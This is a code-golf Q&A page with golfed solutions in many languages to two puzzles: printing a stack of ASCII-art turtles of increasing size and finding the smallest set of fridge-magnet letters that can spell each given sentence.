[Question] [ Write a program or function that takes in a positive integer and prints or returns a stack of that many ASCII-art [turtles](https://en.wikipedia.org/wiki/Turtles_all_the_way_down), where each turtle is larger than the one above it. Specifically, if the input is `1`, the output should be: ``` __ /,,\o ``` If the input is `2`: ``` __ o/,,\ ____ /,__,\o ``` If the input is `3`: ``` __ /,,\o ____ o/,__,\ ______ /,____,\o ``` If the input is `4`: ``` __ o/,,\ ____ /,__,\o ______ o/,____,\ ________ /,______,\o ``` If the input is `5`: ``` __ /,,\o ____ o/,__,\ ______ /,____,\o ________ o/,______,\ __________ /,________,\o ``` And so on in the same pattern for larger inputs. **Note that:** * The head (the `o`) of the bottom turtle is always on the right. The heads of the turtles above then alternate back and forth. * No lines may have trailing spaces. * Superfluous leading spaces are not allowed. (i.e. the back of the bottom turtle should be at the start of the line.) * A single optional trailing newline is allowed. **The shortest code in bytes wins.** [Answer] ## Batch, 256 bytes ``` @set i=echo @%i%off set u= for /l %%j in (2,2,%1)do call set i=%%i%% set/af=%1^&1 if %f%==1 %i% __&%i%/,,\o&set u=__ for /l %%j in (2,2,%1)do call:l exit/b :l set i=%i:~0,-2% %i% _%u%_ %i%o/,%u%,\ %i% __%u%__ %i%/,_%u%_,\o set u=__%u%__ ``` Note that line 1 has a trailing space and line 4 has two trailing spaces. `i` therefore contains an `echo` command with the appropriate amount of indentation for each turtle. Meanwhile `u` contains the number of underscores in alternate turtles. A leading odd turtle is special-cased and then the rest of the turtles are output in pairs. [Answer] # C, 131 bytes ``` i,j;f(n){char _[3*n];memset(_,95,3*n);for(i=n;i--;printf("%*.*s\n%*s/,%.*s,\\%s\n",j+n+1,j+j,_,i,"o"+1-i%2,j+j-2,_,"o"+i%2))j=n-i;} ``` [Try it online.](http://ideone.com/Hx0MHR) Defines a function that prints the turtles. Heavily abuses printf's width and precision specifiers to get the spacing and repeating the underscores. Each turtle is printed using a single `printf` call: ``` printf("%*.*s\n%*s/,%.*s,\\%s\n",j+n+1,j+j,_,i,"o"+1-i%2,j+j-2,_,"o"+i%2) ``` I also have a different version that's 144 bytes with whitespace removed: ``` c,i;f(n){for(i=n;i--;){ char*p=" _\n o/,_,\\o\n"; int C[]={i+1,c=n+n-i-i,1,i&~1,i%2,1,1,c-2,1,1,1-i%2,1}; for(c=0;p[c];)C[c]--?putchar(p[c]):++c; }} ``` [Answer] # Ruby, 100 bytes Recursive solution. [Try it online!](https://repl.it/CjSe) ``` f=->n,i=1{f[n-1,i+1]if n>1;puts' '*i+?_*n*2,"%#{i-1}s/,#{?_*2*~-n},\\"%(i<2?'':'o '[i%2])+' o'[i%2]} ``` [Answer] ## 05AB1E, 45 bytes ``` Lvð¹y-©>ׄ__y×UXJ,„/,X¨¨„,\J'o®ÉiìëJ}ð®®É-×ì, ``` [Try it online](http://05ab1e.tryitonline.net/#code=THbDsMK5eS3CqT7Dl-KAnl9fecOXVVhKLOKAni8sWMKowqjigJ4sXEonb8Kuw4lpw6zDq0p9w7DCrsKuw4ktw5fDrCw&input=MTA) [Answer] # [V](http://github.com/DJMcMayhem/V), ~~57, 53~~ 49 bytes ``` i ³_ /,_,\oÀñHyjí_/___ ëPhjI ñdjí___ òkk$x^PXkk ``` Since this contains unprintable characters, here is a hexdump: ``` 00000000: 6920 b35f 0a2f 2c5f 2c5c 6f1b c0f1 4879 i ._./,_,\o...Hy 00000010: 6aed 5f2f 5f5f 5f0a eb50 1668 6a49 20f1 j._/___..P.hjI . 00000020: 646a ed5f 5f5f 0af2 6b6b 2478 5e50 586b dj.___..kk$x^PXk 00000030: 6b k ``` [Try it online!](http://v.tryitonline.net/#code=aSDCs18KLyxfLFxvG8OAw7FIeWrDrV8vX19fCsOrUBZoakkgw7FkasOtX19fCsOya2skeF5QWGtr&input=&args=NQ) Explanation: ``` i ³_\n/,_,\o<esc> "Insert the original turtle with one extra underscore Àñ "Arg1 times: Hyj " Go the the beginning of the file, and yank a turtle í_/___ " Extend the lenght of every turtle by two ëP " Move to the beginning of the file again, and paste the turtle we yanked <C-v>hjI " Move this turtle one to the right ñ "Stop looping. dj "Delete a turtle (since we have one too many) í___ "Make every turtle shorter (since they are all too long) ò "Recursively: kk " Move up two lines $x " Delete the last character on this line (an 'o') ^P " And paste this 'o' at the beginning of the line X " Remove one space kk " Move up two lines again ``` [Answer] ## Perl, 92 bytes **91 bytes code +1 for `-n`.** Requires `-E` at no extra cost. ``` for$i(1..$_){say$"x$_._,$v=_ x(--$i*2),_.$/.$"x(--$_-1),$_%2?o:$"x!!$_,"/,$v,\\",$_%2?"":o} ``` ### Usage ``` perl -nE 'for$i(1..$_){say$"x$_._,$v=_ x(--$i*2),_.$/.$"x(--$_-1),$_%2?o:$"x!!$_,"/,$v,\\",$_%2?"":o}' <<< 3 __ /,,\o ____ o/,__,\ ______ /,____,\o ``` Thanks to [@Dada](https://codegolf.stackexchange.com/users/55508/dada) for -9 bytes with his re-work! [Answer] # [Cheddar](https://github.com/cheddar-lang/Cheddar/tree/release-1.0.0/src/stdlib/primitive/Array/lib), 105 bytes ``` n->(|>n).map(i->(1-i%2)*"o"+"\\,"+(n-i-1)*"__"+",/"+i%2*"o"+i/2*" "+"\n"+(n-i)*"__"+(i+1)*" ").vfuse.rev ``` [Answer] ## [Retina](https://github.com/m-ender/retina), ~~97~~ ~~91~~ 88 bytes Byte count assumes ISO 8859-1 encoding. ``` .+ $&$*_$&$*_o +`^( *?)(.)__(_+)(.) $1 $4$3$2¶$& (.)__(_*) ? __$2¶$%`$1/,$2,\ Rm`^ ``` [Try it online!](http://retina.tryitonline.net/#code=LisKICAkJiQqXyQmJCpfbworYF4oICo_KSguKV9fKF8rKSguKQokMSAkNCQzJDLCtiQmCiAoLilfXyhfKikgPwogIF9fJDLCtiQlYCQxLywkMixcClJtYF4g&input=MTI) [Answer] # Python 2, 116 Bytes ``` m=input() for i in range(m):r=m-i;b=r%2;h='o';a='__';u=i*a;s=' '*r;print s+u+a+'\n'+s[:b-2]+h*-~-b+"/,"+u+",\\"+b*h ``` [Answer] # **R**, 150 bytes ``` a=function(x,y=1){d=x-y;t=d%%2;cat(rep(" ",d+1),rep("_",2*y),"\n",rep(" ",d-t),"o"[t],"/,",rep("_",2*y-2),",\\","o"[!t],"\n",sep="");if(y<x)a(x,y+1)} ``` more cleanly (adds a byte) ``` a=function(x,y=1){ d=x-y t=d%%2 cat(rep(" ",d+1),rep("_",2*y),"\n",rep(" ",d-t),"o"[t],"/,",rep("_",2*y-2),",\\","o"[!t],"\n",sep="") if(y<x)a(x,y+1) } ``` Basic structure recursively calls itself --telling itself both the final number to be called and the current level. Starts with a default for y=1, so it only needs one variable for initial call. Quickly defines two values that are frequently used. Then it just repeats everything the necessary number of times. ``` "o"[t],"o"[!t] ``` Each of these implicitly test whether to add the head to right or left and place it appropriately. [Answer] # TSQL, 189 bytes Now with input acceptance - thanks to @PatrickRoberts ``` DECLARE @i INT=##i##,@ INT=0a:PRINT SPACE(@i-@)+REPLICATE('__',@+1)+' '+SPACE((@i-@-1)/2*2)+IIF((@i-@-1)%2=1,'o/,','/,')+REPLICATE('__',@)+IIF((@i-@-1)%2=0,',\o',',\')SET @+=1IF @i>@ GOTO a ``` **[Fiddle](https://data.stackexchange.com/stackoverflow/query/521281/turtles-all-the-way-down?i=5)** [Answer] # C, ~~328~~ ~~238~~ ~~234~~ 215 bytes: ``` B;M(w,j,R){j=w;if(j<=B){char b[j*2-1],k[j*2+1];b[j*2-2]=k[j*2]=0;memset(b,95,j*2-2);memset(k,95,j*2);R=(B+1-j)%2;printf("%*s\n%*s/,%s,\\%s\n",j*2+B+1-j,k,B-j,R?"":"o",b,R?"o":"");j++;M(j);}}main(){scanf("%d",&B);M(1);} ``` A recursive implementation using a lot of string formatting and the builtin `memset` function. Will try and golf this more over time as much as I can. [C It Online! (Ideone)](http://ideone.com/z8Vs0k) [Answer] ## Java 1.7, 238 bytes A set of two functions: first iterates over input (# of turtles), second facilitates in constructing a sequence of repeated characters recursively (i.e. the leading spaces, the back and belly of the turtles). ``` String f(int n){String s="";for(int i=-1,x=-2;++i<n;){int m=(i+n)%2;s+=r(' ',n-i)+r('_',i*2+2)+"\n"+r(' ',n-i-(m==1?1:2))+(m==0?"o":"")+"/,"+r('_',x+=2)+",\\"+(m==1?"o":"")+"\n";}return s;}String r(char c,int n){return n>0?c+r(c,--n):"";} ``` Ungolfed: ``` class C { public static void main(String[] a) { System.out.println(new T().f(1)); System.out.println(new T().f(2)); System.out.println(new T().f(3)); System.out.println(new T().f(4)); System.out.println(new T().f(5)); } static class T { String f(int n) { String s = ""; for (int i = -1, x = 0; ++i < n; x+=2) { int m = (i + n) % 2; s += r(' ', n - i) + r('_', i * 2 + 2) + "\n" + r(' ', n - i - (m == 1 ? 1 : 2)) + (m == 0 ? "o" : "") + "/," + r('_', x) + ",\\" + (m == 1 ? "o" : "") + "\n"; } return s; } String r(char c, int n) { return n > 0 ? c + r(c, --n) : ""; } } } ``` [Run it!](https://ideone.com/g3HmeK) (Ideone) I've assumed it's okay to exclude the class definition from the byte count. I may be able to golf this a little further by reversing the iteration order of the loop (build from bottom turtle up) and/or by going fully recursive like some of the other answers. *Note to self: Java really lacks a built-in shorthand to repeat n characters...* [Answer] # Python, ~~137~~ ~~120~~ ~~113~~ 110 bytes ``` m=input() for i in range(m):p=m-i;b=p%2;print' '*p+'__'*-~i+'\n'+' '*(p-2+b)+'o'*-~-b+'/,'+'__'*i+',\\'+'o'*b ``` Ungolfed: ``` m=input() for i in range(m): p=m-i // Abstract m-i for a few bytes b=p%2 // Determines every other turtle from bottom print' '*p + '__'*-~i + '\n' + // The top of the turtle ' '*(p-2+b) + // Leading spaces (-1 for every other turtle) '0'*-~-b + // Add a leading head to every other turtle '/,'+'__'*i + // Body of the turtle ',\\'+'0'*b // Add a trailing head to every other turtle ``` The heads were hard. [Answer] # F#, ~~218~~ ~~207~~ ~~202~~ ~~196~~ 187 bytes. Shaved most of these bytes by inlining variables ``` let R=String.replicate let t n=let rec L i r k=if i<n then L(i+1)(R(k+i%2+1)" "+R((n-i)*2)"_"+"\n"+R k" "+R(i%2)"o"+"/,"+R(n*2-i*2-2)"_"+",\\"+R(1-i%2)"o"+"\n"+r)(k+i%2*2)else r in L 0""0 ``` The logic is shamelessly stolen from this [Python answer](https://codegolf.stackexchange.com/a/88632/56157) [Try it online.](https://ideone.com/swURzz) [Answer] # [CJam](http://sourceforge.net/projects/cjam/), 88 bytes ``` ri_[S\_'_*_+N+\O\"/,"\('_*_++','\+'o]\({_[(S+\(2>\(S\+)'O^c+\(-2<\(\('o\{;O}&\;]}*]-1%N* ``` Makes the biggest turtle first (because otherwise what would every other turtle stand on?), then gradually reduces the size until the smallest one is made. Works for any integer larger than 0. [Try it online!](http://cjam.aditsu.net/#code=ri_%5BS%5C_'_*_%2BN%2B%5CO%5C%22%2F%2C%22%5C(S*_%2B%2B'%2C'%5C%2B'o%5D%5C(%7B_%5B(S%2B%5C(2%3E%5C(S%5C%2B)'O%5Ec%2B%5C(-2%3C%5C(%5C('o%5C%7B%3BO%7D%26%5C%3B%5D%7D*%5D-1%25N*&input=5) [Answer] ## Python 2.7, ~~255~~ ~~238~~ 236 bytes Even though this loses to both of the other Python 2 solutions, I liked my recursive approach: ``` def r(s,p): for(a,b)in p:s=a.join(s.split(b)) return s def t(w): i='_'*2*w;s='\n __%s\n/,%s,\o'%(i,i) if w:s=r(t(w-1),[('\n ','\n'),('Z/',' /'),('\\Z\n','\\\n'),(' /','o/'),('\\','\\o'),('o','Z')])+s return s print t(input()-1)[1:] ``` edit1: dropped a few bytes by eliminating some replacements edit2: shaved 2 bytes by saving the underscores as a variable [Answer] ## Python 2, 147 bytes ``` n=input() s=' ';r=[];i=k=0 while i<n:a=i%2;r=[s*k+s*a+s+'_'*(n-i)*2+s,s*k+'o'*a+'/,'+'_'*(n-i-1)*2+',\\'+'o'*(1-a)]+r;k+=a*2;i+=1 print'\n'.join(r) ``` [Try it online](http://ideone.com/fork/ZXj181) [Answer] ## Python 2.7, ~~139~~ ~~114~~ ~~113~~ 130 bytes I also liked Iguanodon's recursive approach so here's a slightly shorter attempt. ``` def t(n): if n>1:t(n-1) a=i-n;b=(a+1)%2;print' '*(a+1)+'__'*n+'\n'+' '*(a-1+b)+'o'*(not b)+'/,'+'__'*(n-1)+',\\'+'o'*b i=input() t(i) ``` **EDIT** A mighty ~~25~~ ~~26~~ 9 bytes golfed due to some fantastic tips from Destructible Watermelon. Many thanks! ~~Think it may be the shortest Python answer now :-)~~ ``` def t(n): if n>1:t(n-1) a=i-n;b=-~a%2;print' '*-~a+'__'*n+'\n'+' '*(a-1+b)+'o'*-~-b+'/,'+'__'*~-n+',\\'+'o'*b i=input() t(i) ``` [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), ~~105~~ ~~100~~ ~~97~~ ~~87~~ ~~85~~ 84 bytes -21 bytes thanks to mazzy, the mad man ``` "$args"..1|%{' '*$_--+($m='__'*$i++)+'__' ' '*($_-$_%2)+("/,$m,\o","o/,$m,\")[$_%2]} ``` [Try it online!](https://tio.run/##K8gvTy0qzkjNyfmvkmZb/V9JJbEovVhJT8@wRrVaXUFdSyVeV1dbQyXXVj0@HsjL1NbW1AYxuUCSGkBZlXhVI01tDSV9HZVcnZh8JR2lfAhTSTMaJBdb@7@Wi0tNJU3BkEtJCcwwgjGMYQwTGMP0PwA "PowerShell – Try It Online") Cleverly shifts variables using `$_--` to avoid using repeated `($_+1)` blocks to save several bytes. It also converts the single argument to a string which is then cast to an int when used in a range to iterate over through the number of turtles. Biggest trick is now having the 2nd level of a turtle's spacing only increase every other row by subtracting `$_%2` (i.e. 0 if even, 1 if odd) from the current row\_count. Otherwise, it's a lot of index math to get proper `_` and counts, including a lag counter in the form of `$i++`, and now only a single list index to put the head on the correct side. [Answer] # ES6 (JavaScript), 140 bytes **Code** ``` T=(i,h=0,p=1,R="repeat")=>(i>1?T(i-1,~h,p+1)+"\n":"")+" "[R](p)+'--'[R](i)+"\n"+" "[R](p-1+h)+(h?"o":"")+"/,"+'__'[R](i-1)+",\\"+(!h?"o":"") ``` **Test** ``` console.log(T(5)); -- /,,\o ---- o/,__,\ ------ /,____,\o -------- o/,______,\ ---------- /,________,\o ``` [Answer] # [Canvas](https://github.com/dzaima/Canvas), 26 [bytes](https://github.com/dzaima/Canvas/blob/master/files/chartable.md) ``` ╷_×,×l_×∔/×║o×⇵↔⁸¹-[ ×↔}] ``` [Try it here!](https://dzaima.github.io/Canvas/?u=JXUyNTc3XyVENyUyQyVENyV1RkY0Q18lRDcldTIyMTQvJUQ3JXUyNTUxbyVENyV1MjFGNSV1MjE5NCV1MjA3OCVCOSV1RkYwRCV1RkYzQiUyMCUyMCVENyV1MjE5NCV1RkY1RCV1RkYzRA__,i=NQ__,v=8) [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal), 62 bytes ``` (⁰nεð*nd⇧\_*+,⁰nε⇩ð*⁰nε₂[\o|⁰‹n=[¤|ð]]‛/,nd\_*‛,\⁰nε₂[|\o+]Wṅ, ``` [Try it Online!](http://lyxal.pythonanywhere.com?flags=&code=%28%E2%81%B0n%CE%B5%C3%B0*nd%E2%87%A7%5C_*%2B%2C%E2%81%B0n%CE%B5%E2%87%A9%C3%B0*%E2%81%B0n%CE%B5%E2%82%82%5B%5Co%7C%E2%81%B0%E2%80%B9n%3D%5B%C2%A4%7C%C3%B0%5D%5D%E2%80%9B%2F%2Cnd%5C_*%E2%80%9B%2C%5C%E2%81%B0n%CE%B5%E2%82%82%5B%7C%5Co%2B%5DW%E1%B9%85%2C&inputs=4&header=&footer=) Many turtles. ]
[Question] [ The other day we were writing sentences with my daughter with a fridge magnet letter. While we were able to make some(`I love cat`), we didn't have enough letters to make the others (`I love you too`) due to an insufficient amount of letters `o` (4) I then found out that while one set included 3 `e` letters it had only 2 `o` letters. Probably inspired by <http://en.wikipedia.org/wiki/Letter_frequency> this would still not reflect the actual situation "on the fridge". ## Problem Given the text file where each line contains a "sample sentence" one would want to write on the fridge, propose an alphabet set with minimum amount of letters but still sufficient to write each sentence individually. Note: ignore cases, all magnet letters are capitals anyway. ## Input The file contain newline separated sentences: ``` hello i love cat i love dog i love mommy mommy loves daddy ``` ## Output Provide back sorted list of letters, where each letter appears only as many times to be sufficient to write any sentence: ``` acdddeghillmmmoostvyy ``` (thanks, isaacg!) ## Winner Shortest implementation (code) ### UPDATED: Testing I have created an extra test and tried with various answers here: <https://gist.github.com/romaninsh/11159751> [Answer] # GolfScript, 28 / 34 chars ``` n/:a{|}*{a{.[2$]--}%*$-1=}%$ ``` The 28-character program above assumes that all the input letters are in the same case. If this is not necessarily so, we can force them into upper case by prepending `{95&}%` to the code, for a total of 34 chars: ``` {95&}%n/:a{|}*{a{.[2$]--}%*$-1=}%$ ``` Notes: * For correct operation, the input must include at least one newline. This will be true for normal text files with newlines at the end of each line, but might not be true if the input consists of just one line with no trailing newline. This could be fixed at the cost of two extra chars, by prepending `n+` to the code. * The uppercasing used in the 34-character version is really crude — it maps lowercase ASCII letters to their uppercase equivalents (and spaces to `NUL`s), but makes a complete mess of numbers and most punctuation. I'm assuming that the input will not include any such characters. * The 28-character version treats all input characters (except newlines and `NUL`s) equally. In particular, if the input contains any spaces, some will also appear in the output; conveniently, they will sort before any other printable ASCII characters. The 34-character version, however, does ignore spaces (because it turns out I can do that without it costing me any extra chars). Explanation: * The optional `{95&}%` prefix uppercases the input by zeroing out the sixth bit of the ASCII code of each input byte (`95 = 64 + 31 = 10111112`). This maps lowercase ASCII letters to uppercase, spaces to null bytes, and leaves newlines unchanged. * `n/` splits the input at newlines, and `:a` assigns the resulting array into the variable `a`. Then `{|}*` computes the set union of the strings in the array, which (assuming that the array has at least two elements) yields a string containing all the unique (non-newline) characters in the input. * The following `{ }%` loop then iterates over each of these unique characters. Inside the loop body, the inner loop `a{.[2$]--}%` iterates over the strings in the array `a`, removing from each string all characters not equal to the one the outer loop is iterating over. The inner loop leaves the ASCII code of the current character on the stack, below the filtered array. We make use of this by repeating the filtered array as many times as indicated by the ASCII code (`*`) before sorting it (`$`) and taking the last element (`-1=`). In effect, this yields the longest string in the filtered array (as they all consist of repeats of the same character, lexicographic sorting just sorts them by length), *except* if the character has ASCII code zero, in which case it yields nothing. * Finally, the `$` at the end just sorts the output alphabetically. [Answer] # J - 37 char Reads from stdin, outputs to console. ``` dlb#&a.>./+/"2=/&a.tolower;._2[1!:1]3 ``` `1!:1]3` is the call to stdin. `tolower;._2` performs double duty by splitting up the lines and making them lowercase simultaneously. Then we count how many times a character occurs in each row with `+/"2=/&a.`, and take the pointwise maximum over all lines with `>./`. Finally, we pull that many of each character out of the alphabet with `#&a.`. This includes spaces—all found at the front due to their low ASCII value—so we just delete leading blanks with `dlb`. [Answer] # JavaScript (ECMAScript 6) - ~~148~~ ~~139~~ 135 Characters **Version 2:** Updated to use array comprehension: ``` [a[i][0]for(i in a=[].concat(...s.split('\n').map(x=>x.split(/ */).sort().map((x,i,a)=>x+(a[i-1]==x?++j:j=0)))).sort())if(a[i-1]<a[i])] ``` **Version 1:** ``` [].concat(...s.split('\n').map(x=>x.split(/ */).sort().map((x,i,a)=>x+(a[i-1]==x?++j:j=0)))).sort().filter((x,i,a)=>a[i-1]!=x).map(x=>x[0]) ``` Assumes that: * The input string is in the variable `s`; * We can ignore the case of the input (as specified by the question - i.e. it is all in either upper or lower case); * The output is an array of characters (which is about as close as JavaScript can get to the OP's requirement of a list of characters); and * The output is to be displayed on the console. With comments: ``` var l = s.split('\n') // split the input up into sentences .map(x=>x.split(/ */) // split each sentence up into letters ignoring any // whitespace .sort() // sort the letters in each sentence alphabetically .map((x,i,a)=>x+(a[i-1]==x?++j:j=0))) // append the frequency of previously occurring identical // letters in the same sentence to each letter. // I.e. "HELLO WORLD" => // ["D0","E0","H0","L0","L1","L2","O0","O1","R0","W0"] [].concat(...l) // Flatten the array of arrays of letters+frequencies // into a single array. .sort() // Sort all the letters and appended frequencies // alphabetically. .filter((x,i,a)=>a[i-1]!=x) // Remove duplicates and return the sorted .map(x=>x[0]) // Get the first letter of each entry (removing the // frequencies) and return the array. ``` If you want to: * Return it as a string then add `.join('')` on the end; * Take input from a user then replace the `s` variable with `prompt()`; or * Write it as a function `f` then add `f=s=>` to the beginning. **Running:** ``` s="HELLO\nI LOVE CAT\nI LOVE DOG\nI LOVE MOMMY\nMOMMY LOVE DADDY"; [].concat(...s.split('\n').map(x=>x.split(/ */).sort().map((x,i,a)=>x+(a[i-1]==x?++j:j=0)))).sort().filter((x,i,a)=>a[i-1]!=x).map(x=>x[0]) ``` **Gives the output:** ``` ["A","C","D","D","D","E","G","H","I","L","L","M","M","M","O","O","T","V","Y","Y"] ``` [Answer] ## Perl - 46 bytes ``` #!perl -p $s=~s/$_//ifor/./g;$s.=uc}for(sort$s=~/\w/g){ ``` Counting the shebang as 1. This is a loose translation of the Ruby solution below. --- ## Ruby 1.8 - 72 bytes ``` s='';s+=$_.upcase.scan(/./){s.sub!$&,''}while gets;$><<s.scan(/\w/).sort ``` Input is taken from `stdin`. Sample usage: ``` $ more in.dat Hello I love cat I love dog I love mommy Mommy loves daddy $ ruby fridge-letters.rb < in.dat ACDDDEGHILLMMMOOSTVYY ``` [Answer] # Python - ~~206~~ ~~204~~ ~~199~~ ~~177~~ ~~145~~ ~~129~~ ~~117~~ ~~94~~ 88 chars ``` print(''.join(c*max(l.lower().count(c)for l in open(f))for c in map(chr,range(97,123)))) ``` I wasn't sure how I was supposed to obtain the file name, so at the moment the code assumes that it is contained in a variable named `f`. Please let me know if I need to change that. [Answer] ## Ruby 1.9+, 51 (or 58 or 60) ``` a=*$< ?a.upto(?z){|c|$><<c*a.map{|l|l.count c}.max} ``` Assumes everything's in lowercase. Case insensitivity costs 7 characters via `.upcase`, while case insensitivity *and lowercase output* costs 9 characters via `.downcase`. [Answer] # R (156, incl. file read) With *table* I construct the letter frequency table for each sentence. Then I end up with taking for each letter the maximum value. ``` a=c();for(w in tolower(read.csv(fn,h=F)$V1))a=c(a,table(strsplit(w,"")[[1]]));a=tapply(seq(a),names(a),function(i)max(a[i]))[-1];cat(rep(names(a),a),sep="") ``` Ungolfed: ``` a=c() words = read.csv(fn,h=F)$V1 for(w in tolower(words)) a=c(a, table(strsplit(w, "")[[1]])) a = tapply(seq(a), names(a), function(i) max(a[i]))[-1] ## The -1 excludes the space count. cat(rep(names(a), a), sep="") ``` Solution: ``` acdddeghillmmmoooooostuvyy ``` [Answer] # Haskell, ~~109~~ 108 ``` import Data.List import Data.Char main=interact$sort.filter(/=' ').foldl1(\x y->x++(y\\x)).lines.map toLower ``` The program reads from stdin and writes to sdtout. It is quite straightforward: it breaks the string into a list of lines, and rebuilds it by iterating on the list and adding the new letters contained in each line. [Answer] # Perl 6: ~~56~~ *53* characters; ~~58~~ *55* bytes ``` say |sort ([∪] lines.map:{bag comb /\S/,.lc}).pick(*) ``` For each line, this combs through it for the non-space characters of the lower-cased string (`comb /\S/,.lc`), and makes a `Bag`, or a collection of each character and how many times it occurs. `[∪]` takes the union of the `Bag`s over all the lines, which gets the max number of times the character occurred. `.pick(*)` is hack-y here, but it's the shortest way to get all the characters from the `Bag` replicated by the number of times it occurred. EDIT: To see if it would be shorter, I tried translating [histocrat's Ruby answer](https://codegolf.stackexchange.com/a/25665/15012). It is 63 characters, but I still very much like the approach: ``` $!=lines».lc;->$c{print $c x max $!.map:{+m:g/$c/}} for"a".."z" ``` [Answer] # Haskell, 183 162 159 Assuming the file is in `file.txt`! ``` import Data.Char import Data.List main=readFile"file.txt">>=putStr.concat.tail.map(tail.maximum).transpose.map(group.sort.(++' ':['a'..'z'])).lines.map toLower ``` If file.txt contains, for example ``` abcde abcdef aaf ``` The script will output ``` aabcdef ``` Basically I'm appending the whole alphabet to each line, so that when grouping and sorting, I'm sure I'll end up with a list that contains 27 elements. Next, I transpose the "frequency table", so that each row in this array consists of the frequencies of a single letter in each line, e.g. `["a","","aaa","aa","aaaa"]`. I then choose the maximum of each array (which works just like I want because of how the `Ord`-instance of Strings work), and drop the letter that I appended at the start, get rid of the spaces, and output the result. [Answer] **C, 99 chars** ``` t[256];main(c){for(--*t;++t[1+tolower(getchar())];);for(c=97;c<123;c++)while(t[c]--)putchar(c-1);} ``` It crashes if less than one newline is provided. I think it could be fixed quite easily. [Answer] ## kdb (q/k): 59 characters: ``` d:.Q.a! 26#0 .z.pi:{d|:.Q.a##:'=_y}.z.exit:{-1@,/.:[d]#'!:d} ``` * generate pre-sorted seed dictionary from alphabet .Q.a * process each line of input, convert to lowercase, group into dictionary, count each element, take alphabetic characters from result (I.e. prune spaces, newlines, etc at this stage) and use max-assign to global d to keep a running total. * define exit handler, which gets passed in to .z.pi to save a delimiter but otherwise unused there. Take from each key-value to generate list of characters, flatten and finally print to stdout. -1 adds a newline, using 1 would save a character but does not generate the output specified. Wish I could get rid of the .z.pi / .z.exit boilerplate, which would remove 14 characters. Edit: avoid use of inter/asc by using seed dictionary. [Answer] ## Perl, 46 ``` for$:(a..z){$a[ord$:]|=$:x s/$://gi}}{print@a ``` Here's another Perl solution, reads from STDIN, requires `-n` switch (+1 to count), ties with primo's score but runs without complaints :-). It exploits the fact that bitwise `or`'s result has longer string argument's length. [Answer] I'm adding my own solution: ## Bash - 72 Assumes that input is in file "i" ``` for x in {A..Z};do echo -n `cat i|sed "s/[^$x]//g"|sort -r|head -1`;done ``` ## Explanation For each possible letter, filters it out only from input file resulting in something like this: ``` AAA A A AAAA A AAAAAAAAAAAAAAAA ``` Then result is sorted and the longest line is selected. `echo -n` is there to remove newlines. [Answer] # Bash, 171 ~~159~~ 158, 138 with junk output Requires lowercase-only input. Assumes that the file is called `_` (underscore). Maximum of 26 lines in the input file due to the annoying filenames which `split` creates (xaa, xab... xaz, ???). In `bash`, `{a..z}` outputs `a b c d e f ...`. ``` touch {a..z} split _ -1 for l in {a..z} do for s in {a..z} do grep -so $l xa$s>b$l if [ `wc -l<b$l` -ge `wc -l<$l` ] then mv b$l $l fi done tr -d '\n'<$l done ``` # Sample output ``` acdddeghillmmmoostvyy ``` # Explanation ``` touch {a..z} ``` Create files that we will be reading from later on so that bash doesn't complain that they don't exist. If you remove this line you will save 13 chars but get a lot of junk output. ``` split _ -1 ``` Split the input file into sections, each storing 1 line. The files this command creates are named xaa, xab, xac and so on, I have no idea why. ``` for l in {a..z} do for s in {a..z} ``` For each letter `$l` read through all lines stored in files `xa$s`. ``` do grep -so $l xa$s>b$l ``` Remove the `-s` switch to save 1 char and get a lot of junk output. It prevents `grep` from complaining about nonexistent files (will occur unless you have 26 lines of input). This processes the file `xa$s`, removing anything but occurences of `$l`, and sending output to the file `b$l`. So "i love mommy" becomes "mmm" with new lines after each letter when `$l` is m. ``` if [ `wc -l<b$l` -ge `wc -l<$l` ] ``` If the number of lines in the file we just created is greater than or equal to (i.e. more letters since there is one letter per line) the number of lines in our highest result so far (stored in `$l`)... ``` then mv b$l $l ``` ...store our new record in the file `$l`. At the end of this loop, when we have gone through all the lines, the file `$l` will store x lines each containing the letter `$l`, where x is the highest number of occurences of that letter in a single line. ``` fi done tr -d '\n'<$l ``` Output the contents of our file for that particular letter, removing new lines. If you don't want to remove the new lines, change the line with `tr` to `echo $l`, saving 6 chars. ``` done ``` [Answer] ## C#, 172 bytes ``` var x="";foreach(var i in File.ReadAllText(t).ToLower().Split('\r','\n'))foreach(var j in i)if(x.Count(c=>c==j)<i.Count(c=>c==j))x+=j;string.Concat(x.OrderBy(o=>o)).Trim(); ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~12~~ ~~10~~ 8 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` Aεδ¢ày×? ``` -2 bytes thanks to *@ovs*, which also allowed -2 more bytes. Input taken as a list of lowercase strings. ([Would require 1 additional byte if taking the input newline-delimited is mandatory.](https://tio.run/##yy9OTMpM/f@/xvHc1nNbDi06vKDy8HT7//8zUnNy8rkyFXLyy1IVkhNLYMyU/HQYMzc/N7eSC0yCBYoVUhJTUir/6@rm5evmJFZVAgA)) [Try it online.](https://tio.run/##yy9OTMpM/f/f8dzWc1sOLTq8oPLwdPv//6OVMlJzcvKVdJQyFXLyy1IVkhNLEJyU/HQEJzc/N7cSyAXTYKFihZTElJRKpdj/urp5@bo5iVWVAA) **Explanation:** ``` A # Push the lowercase alphabet ε # For-each over the letters: δ¢ # Count how many times this letter occurs in each string of the (implicit) # input-list à # Pop and leave the maximum of these counts y× # Repeat the current letter that many times ? # And print it (without newline) ``` [Answer] # Python 2 - 129 Idea from @Tal ``` a,r=[0]*26,range(26) for l in open('f'):a=[max(a[i],l.lower().count(chr(i+97)))for i in r] print''.join(chr(i+97)*a[i]for i in r) ``` A couple more ways to do the same thing in the same number of characters: ``` a=[0]*26 b='(chr(i+97)))for i in range(26)' exec'for l in open("f"):a=[max(a[i],l.lower().count'+b+']\nprint"".join(a[i]*('+b+')' a=[0]*26 b='(chr(i+97)))for i in range(26))' exec'for l in open("f"):a=list(max(a[i],l.lower().count'+b+'\nprint"".join(a[i]*('+b ``` This assumes the file is saved as f in an accessible directory. This program is directly runable, with no extra input necessary. [Answer] ## Mathematica v10 - 110 It's not out yet, but reading [new documentation](https://reference.wolfram.com/language/guide/Associations.html) very carefully, I think this should work: ``` StringJoin@MapIndexed[#2~Table~{#1}&,Rest@Merge[Counts/@Characters@StringSplit[ToLowerCase@Input[],"\n"],Max]] ``` [Answer] # Scala, 125 characters ``` val i=""::io.Source.stdin.getLines.toList.map(_.toLowerCase);println('a'to'z'map(c=>(""+c)*i.map(_.count(_==c)).max)mkString) ``` First I read the input, 